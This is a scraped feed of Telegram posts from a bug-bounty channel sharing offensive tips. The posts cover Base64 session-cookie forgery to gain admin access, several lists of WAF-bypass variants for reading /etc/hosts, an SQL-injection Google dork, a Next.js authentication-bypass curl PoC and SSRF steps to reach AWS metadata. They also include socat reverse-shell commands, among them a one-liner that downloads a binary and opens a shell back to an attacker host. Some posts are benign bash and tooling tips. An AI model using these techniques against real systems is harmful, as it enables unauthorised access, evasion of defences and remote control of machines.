Brut Security

Recently disclosed hackerone critical bug, which can exploitable under few minutes!

POC:
GET /reports/***.json HTTP/2
Host: hackerone.com

If you all guys interested to know simple and Smart tricks — never forget to react ❤️

❤77👍16🗿11🔥5👏2

3.1K views12:03

Brut Security

A simple hunt can flip the whole game!🌀
While testing a web app, I noticed this suspicious-looking session cookie:

Cookie: session=e3VzZXI6ZGFya3NoYWRvdyxyb2xlOnVzZXJ9Cg==

I quickly ran it through Base64 decoding:

echo "e3VzZXI6ZGFya3NoYWRvdyxyb2xlOnVzZXJ9Cg==" | base64 -d
{user:darkshadow,role:user}

Wow 😳 — it's a JSON-style string in plain Base64.
Time to see how deep the rabbit hole goes...

I modified the role from user to admin:

echo "{user:darkshadow,role:admin}" | base64
e3VzZXI6ZGFya3NoYWRvdyxyb2xlOmFkbWlufQo=

Then replaced the cookie:

Cookie: session=e3VzZXI6ZGFya3NoYWRvdyxyb2xlOmFkbWlufQo=

BOOM 💥 Instantly, we got admin access!🔥

Follow me 👉🏼 ...DarkShadow...

X (formerly Twitter)

DarkShadow (@darkshadow2bd) on X

Ethical Hacker | Penetration Tester | Security Researcher | Bug Hunter | Exploit Developer.
🔥~For more Join my New telegram Channel👉🏼 https://t.co/9p1yvzluA4 ✨

👍13🔥10👏3

3.16K viewsEmon Shaikh, 14:31

Brut Security

🤫Everyone Let's dive deep into the art of WAF bypass techniques — a must-know skill for every serious bug bounty hunter.⚡

⚡Bypass Series for bug hunters😎

Part-1
Crazy WAF Bypass:
cat /etc/hosts - triggers WAF
tac /etc/hosts - 🧙‍♂️
man /etc/hosts - 😎
nl /etc/hosts - 🤯
less /etc/hosts - 🤫
more /etc/hosts - 😌
strings /etc/hosts - 😁
tail /etc/hosts - 😅
head /etc/hosts -🥱

Follow me👉🏼 DarkShadow
#Bugbountytips #series

X (formerly Twitter)

DarkShadow (@darkshadow2bd) on X

Ethical Hacker | Penetration Tester | Security Researcher | Bug Hunter | Exploit Developer.
🔥~For more Join my New telegram Channel👉🏼 https://t.co/9p1yvzluA4 ✨

🔥21❤6👍4

3.32K viewsEmon Shaikh, 14:57

Brut Security

0:17

This media is not supported in your browser

VIEW IN TELEGRAM

🤣17😁6👍1

3.33K views15:53

Brut Security

⚡Bypass Series for bug hunters😎

Part-2
Crazy WAF Bypass:
cat /etc/hosts - triggers WAF

xxd -p /etc/hosts | xxd -p -r
xargs -d '\n' -I{} echo {} < /etc/hosts
perl -pe '' /etc/hosts
sed '' /etc/hosts
awk '{print}' /etc/hosts
dd if=/etc/hosts 2>/dev/null

Follow me👉🏼 DarkShadow
#Bugbountytips #series@brutsecurity

🔥17👍6

3.34K views04:34

Brut Security

🔥With the right dork, the whole game changes—recon becomes domination.😌

Dork: inurl:search.php inurl:sqlQuery inurl:&

For more follow👉🏼 DarkShadow

#bugbountytips

👍17🔥5❤1👏1🐳1

3.48K views06:39

Brut Security

🌀 This is wild!

You’ve probably seen the buzz around the Next.js middleware auth bypass (CVE-2025-29927) — but there’s another less-known yet similar vulnerability: CVE-2024-51479.

This flaw allows attackers to bypass authentication by abusing the __nextLocale query parameter in the URL, tricking the middleware into granting access to protected routes.

Proof of Concept (PoC):

curl https://target.com/?__nextLocale=/admin

This vulnerability was fixed in Next.js v14.2.15, and Vercel-hosted apps have already been patched automatically.

I found a very cool article explaining everything in detail:

https://gmo-cybersecurity.com/blog/another-nextjs-middleware-bypass-en

👍8❤5🔥5👏3🫡1

3.74K views09:13

Brut Security

This media is not supported in your browser

VIEW IN TELEGRAM

🚀 New Script Alert – Subdomain Monitoring (Coming Soon!)
from Brut Security

For those who’ve been waiting on a simple and efficient way to monitor subdomains automatically — your wait is almost over. 😌

We’ve been working on a Bash script that:

✅ Monitors your target domains every 6 hours
✅ Uses subfinder, anew, and notify
✅ Sends actual new subdomains as file attachments directly to your Discord webhook
✅ Clean, lightweight & made for practical usage in recon and bug bounty

The release isn’t today — dropping next week, but thought I’d give you all a heads-up.

If you’re into bug hunting, automation, or OSINT — this might be super useful for your workflow.

🔁 Share with your team
❤️ React if you’re excited
Let’s get the word out before the launch!

#BrutSecurity #bugbounty #subdomainmonitoring #infosec #recon #bashscript #automation

21❤30👍6🔥4👏2

4.11K views10:11

Brut Security

Brut Security pinned a GIF

10:19

Brut Security

API_Hacking_with_Javascript_Checklist.pdf

47.1 MB

API Hacking with Javascript Checklist - 5 things that you should look for in JS files for API hacking.

🔥22❤13

3.64K viewsedited 17:03

Brut Security

⚡Convert your basic nc reverse shell to a pro interactive shell😉

⚡Bash Series for bug hunters😎

Part-1
Use python to Spawn a TTY shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'

Use this command to use clear command:
export TERM=xterm-256color

Get a sexy shell prompt:
PS1='\[\033[01;32m\]\u@\h \[\033[01;34m\]\w\[\033[01;31m\]$\[\033[00m\] '

Use those alias for speed up:

export EDITOR=nano
alias mm=clear
alias ls='ls --color=auto'
alias ll='ls -la --color=auto'
alias grep='grep --color=auto'

To close the shell temporally:
Press control+Z

Use this command to back again session:
stty raw -echo; fg

Guys, do you all want a smart alternative to nc where you can use nano, vim, and have full keyboard controls (like Ctrl+C, etc.)?

😁Follow me👉🏼 DarkShadow

#Bugbountytips #series@brutsecurity

🔥10🗿8👍5

3.56K views17:27

Brut Security

⚡Bypass Series for bug hunters😎

Part-3
Crazy WAF Bypass:
cat /etc/hosts - triggers WAF

cat < /etc/hosts
cat /proc/self/fd/0 < /etc/hosts
cat /etc/hosts | base64 | base64 -d
cat /etc/hosts | string collect

cat /etc/hosts | while read line; echo $line; end
echo (cat /etc/hosts)

😁Follow me👉🏼 DarkShadow

#Bugbountytips #series@brutsecurity

👍8❤5🔥3

3.02K viewsedited 23:21

Brut Security

⚡Bash Series for bug hunters😎

Part-2
Stop using directly nc and try with the following command:
rlwrap -cAr nc -lvnp <port>
Or
rlwrap -f . -r nc -lnvp <port>

Now you can use arrow keys for command history navigation, but you still won't get full keyboard functionality (e.g., nano, CTRL shortcuts).

For full interactive keyboard controls, use a socat interactive shell:

On attacker side:
socat file:tty,raw,echo=0 tcp-listen:<port>
If it throws any error, try:
socat file:$(tty),raw,echo=0 tcp-listen:<port>

On victim side (for a full TTY reverse shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

If socat is not installed on the victim machine, use this one-liner to download a static binary:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

to stop socat:
ps aux | grep socat
Kill -9 socat <PID>

Note: Replace <port> with your desired port, <attacker_ip> with your IP, and <PID> with the process ID.

😁Follow me👉🏼 DarkShadow

#Bugbountytips #series@brutsecurity

🔥9❤2👍1

3.23K views01:15

Brut Security

⚡HackerOne was vulnerable to a critical SSRF that allowed reading AWS metadata — disclosed and rewarded $25,000! 🤯

🌀 The Core Issue:
An SSRF via a <template> field allowed AWS credential access by injecting an <iframe> when generating a PDF report from analytics.

POC Steps:

1. Go to https://hackerone.com/organizations/ORG/analytics/reports
2. Create a new report
3. Select any filters
4. Click “Apply” (intercept the request here)
5. In any template field, inject an HTML payload
6. Use an <iframe> to read internal files like AWS metadata

Even though it's an old report, the technique builds solid SSRF understanding.
If you're into smart and simple exploitation tricks — don’t forget to react & share ❤️

😁Follow me👉🏼 DarkShadow

🔥28❤10🗿9👍5🫡2

3.47K views02:06

Brut Security

This is really cool 🔥

An FFUF wrapper by @rez0__ that automatically suggests file extensions for fuzzing by analysing target URL and headers.

https://github.com/jthack/ffufai?tab=readme-ov-file

#bugbountytips #bugbounty #cybersecurity

👍13🔥2

3.68K views09:18

Brut Security

⚡Bypass Series for bug hunters😎

Part-4
Crazy WAF Bypass:
cat /etc/hosts - triggers WAF

rev /etc/hosts | rev
od -An -c /etc/hosts | tr -d ' '
cat $HOME/../../etc/hosts
cat ${PWD}/../../../etc/hosts
grep "" /etc/hosts
cut -c1- /etc/hosts
paste /etc/hosts

Guys, what do you think about those WAF bypass techniques I created?
Hold on for the last one — it's really awesome!😎

😁Follow me👉🏼 DarkShadow

#Bugbountytips #series@brutsecurity

🔥9❤7👍5

3.26K views17:59

Brut Security

⚡Bash Series for bug hunters😎

Part-2

Create multiple folders using one-liner:

mkdir {dev,test,prod}

This command will create 3 directories (dev, test, prod) at a time.

Creating Multiple Files Efficiently:

touch {file1,file2,file3}.txt

File creates like file1.txt, file2.txt file3.txt

Generating Files with Numeric Sequences:

seq -w 1 10 | xargs -I {} touch file{}.txt

This sequence creates file's:
file01.txt, file02.txt, file03.txt .... To file10.txt

Boost your bug hunting with pro Bash commands — a must for every hacker!
Don't forget to react🔥

😁Follow me👉🏼 DarkShadow

#Bugbountytips #series@brutsecurity

🔥13👍4

3.39K views18:18

Brut Security

program-list.json

1.1 MB

🌀Helpful Websites for Finding Bug Bounty and Vulnerability Disclosure Programs.⚡

Explore databases that list active bug bounty and vulnerability disclosure programs to help security researchers find opportunities to report vulnerabilities and earn rewards.

https://disclose.io/programs/

You can also download all programs in JSON format, provided the JSON file.

Don't forget to react 🔥
😁 Follow me 👉🏼

DarkShadow

#BugBountytips

🔥22👍3🤝2

3.51K views08:24

About

Blog

Apps

Platform